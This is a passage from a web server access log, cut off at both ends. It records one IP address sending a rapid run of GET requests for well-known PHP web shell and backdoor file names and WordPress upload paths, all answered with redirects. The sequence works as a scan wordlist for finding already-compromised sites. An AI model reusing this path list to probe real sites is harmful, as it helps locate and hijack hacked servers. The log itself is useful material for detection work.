HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:47 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:48 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:49 -0400] "GET /wp-mna.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:50 -0400] "GET /uploads/upload.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:51 -0400] "GET /wpx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:53 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:54 -0400] "GET /xhell.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:55 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:57 -0400] "GET /xz.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:51:59 -0400] "GET /yuuki.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:01 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:02 -0400] "GET /wp-content/plugins/upspy/con.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:03 -0400] "GET /wp-content/plugins/upspy/up.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:03 -0400] "GET /wp-content/plugins/upspy/sllolx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:04 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:05 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:06 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:07 -0400] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:08 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:09 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:10 -0400] "GET /amigo.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:11 -0400] "GET /yoi.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:14 -0400] "GET /wp-admin/codeboy1877_up.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:15 -0400] "GET /wp-includes/codeboy1877_up.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:16 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:17 -0400] "GET /jdimzmtaas.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:19 -0400] "GET /wp-content/iu.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:20 -0400] "GET /ccx/th3_err0r.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:21 -0400] "GET /cgi-bin/ffAA531.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:21 -0400] "GET /cgi-bin/991176.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:23 -0400] "GET /991176.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:24 -0400] "GET /wp-content/codeboy1877_up.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:24 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:25 -0400] "GET /post-data.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:26 -0400] "GET /w0.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:26 -0400] "GET /wsanon.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:27 -0400] "GET /wp-content/small.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:28 -0400] "GET /wp-content/mode.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:28 -0400] "GET /indo.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:29 -0400] "GET /indosec.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:30 -0400] "GET /archives.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:30 -0400] "GET /po8sa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:31 -0400] "GET /thesmartestx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:32 -0400] "GET /zcanp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:33 -0400] "GET /burjuva.aspx HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:33 -0400] "GET /pvt.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:34 -0400] "GET /cgi-bin/wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:34 -0400] "GET /crypted.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:35 -0400] "GET /h0110w4y.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:36 -0400] "GET /vesiw.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:36 -0400] "GET /wp-db.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:37 -0400] "GET /wp-includes/lx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:38 -0400] "GET /wp-content/ice.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:39 -0400] "GET /wp-content/lx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:40 -0400] "GET /lx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:41 -0400] "GET /tonant.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:42 -0400] "GET /f0x.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:43 -0400] "GET /config.bak.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:43 -0400] "GET /bypass403.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:44 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:45 -0400] "GET /adminer.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:45 -0400] "GET /allahnaber.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:46 -0400] "GET /AK-74.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:48 -0400] "GET /alfa3.php/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:49 -0400] "GET /b374k.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:51 -0400] "GET /cmd.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:53 -0400] "GET /cw.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:55 -0400] "GET /icomsium.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:56 -0400] "GET /ico.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:57 -0400] "GET /mass.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:58 -0400] "GET /pws.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:52:59 -0400] "GET /r57.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:00 -0400] "GET /robots.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:01 -0400] "GET /wp-content/batm.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:01 -0400] "GET /wp-content/masshp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:02 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:03 -0400] "GET /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:04 -0400] "GET /ALFA_DATA/alfacgiapi/alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:05 -0400] "GET /ALFA_DATA/alfacgiapi/c99.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:06 -0400] "GET /ALFA_DATA/alfacgiapi/fw.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:07 -0400] "GET /ALFA_DATA/alfacgiapi/mini.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:07 -0400] "GET /ALFA_DATA/alfacgiapi/r57.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:08 -0400] "GET /ALFA_DATA/alfacgiapi/uploader.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:09 -0400] "GET /ALFA_DATA/alfacgiapi/ups.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:09 -0400] "GET /wp-content/plugins/html404/cry.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:10 -0400] "GET /wp-includes/css/F0x.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:10 -0400] "GET /wp-content/uploads/F0x.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:11 -0400] "GET /class-wp-widget-archives.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:12 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:12 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:13 -0400] "GET /wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:13 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:15 -0400] "GET /wp-pano.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:15 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:17 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:18 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:19 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:21 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:21 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:22 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:23 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:24 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:26 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:29 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:30 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:31 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:32 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:33 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:36 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:37 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:39 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:40 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:41 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:42 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:43 -0400] "GET /wp-content/plugins/wordpresss3cll/includes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:44 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:45 -0400] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:46 -0400] "GET /images/uploader.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:46 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:47 -0400] "GET /upload/upload.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:48 -0400] "GET /wp-content/uploads/gravity_forms/g/f/f/b/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:48 -0400] "GET /alexusmailer%202.0.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:49 -0400] "GET /wp-content/plugins/real/v.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:50 -0400] "GET /wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:50 -0400] "GET /wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:51 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:51 -0400] "GET /wp-seo.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:53 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:55 -0400] "GET /wb.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:57 -0400] "GET /xxc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:58 -0400] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:58 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:53:59 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:00 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:01 -0400] "GET /defaul1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:01 -0400] "GET /setup-config.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:02 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:03 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:03 -0400] "GET /wp-content/plugins/wordpresss3cll/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:04 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:05 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:06 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:07 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:08 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:09 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:10 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:10 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:12 -0400] "GET /wp-admin/maint/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:13 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:15 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:17 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:18 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:20 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:20 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:21 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:23 -0400] "GET /cgi-bin/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:24 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:25 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:26 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:27 -0400] "GET /.well-known/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:27 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:28 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:30 -0400] "GET /.well-known/iwpairbj.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:31 -0400] "GET /wp-admin/css/colors/blue/blkafewl.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:32 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:33 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:34 -0400] "GET /wordpress/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:35 -0400] "GET /wp-admin/includes/1975Team.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:36 -0400] "GET /wp-includes/SimplePie/gzdecodes.php.suspected HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:37 -0400] "GET /wp-includes/pomo/install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:38 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:39 -0400] "GET /sidwsi.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:40 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:41 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:42 -0400] "GET /wp-includes/css/core.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:43 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:44 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:44 -0400] "GET /wp-content/themes/twentynineteen/inc/ty.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:45 -0400] "GET /wp-content/uploads/upload_handler.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:46 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:47 -0400] "GET /defense.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:48 -0400] "GET /profile.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:49 -0400] "GET /wp-admin/user/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:50 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:51 -0400] "GET /wp-includes/js/jquery/jquery.js HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:53 -0400] "GET /tools.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:54 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:55 -0400] "GET /moon.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:56 -0400] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:56 -0400] "GET /assets/images/ups.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:57 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:58 -0400] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:54:59 -0400] "GET /asus.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:00 -0400] "GET /wp-content/uploads/ethwwuzd.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:01 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:02 -0400] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:02 -0400] "GET /.well-known/alfanew.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:03 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:04 -0400] "GET /add_class.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:05 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:07 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:10 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:11 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:13 -0400] "GET /wp-includes/widgets/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:14 -0400] "GET /wp-admin/S7fHiMZBUg1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:16 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:18 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:20 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:22 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:24 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:25 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:26 -0400] "GET /wp-content/sxx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:28 -0400] "GET /wp-content/themes/404.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:29 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:30 -0400] "GET /wp-admin/css/colors/file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:31 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:31 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:32 -0400] "GET /index.php?x=ooo HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:34 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:34 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:35 -0400] "GET /aks.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:36 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:37 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:38 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:39 -0400] "GET /include/Lurd.class.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:40 -0400] "GET /wp-content/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:41 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:42 -0400] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:43 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:55:44 -0400] "GET /abouts.php HTTP/1.1" 301 795 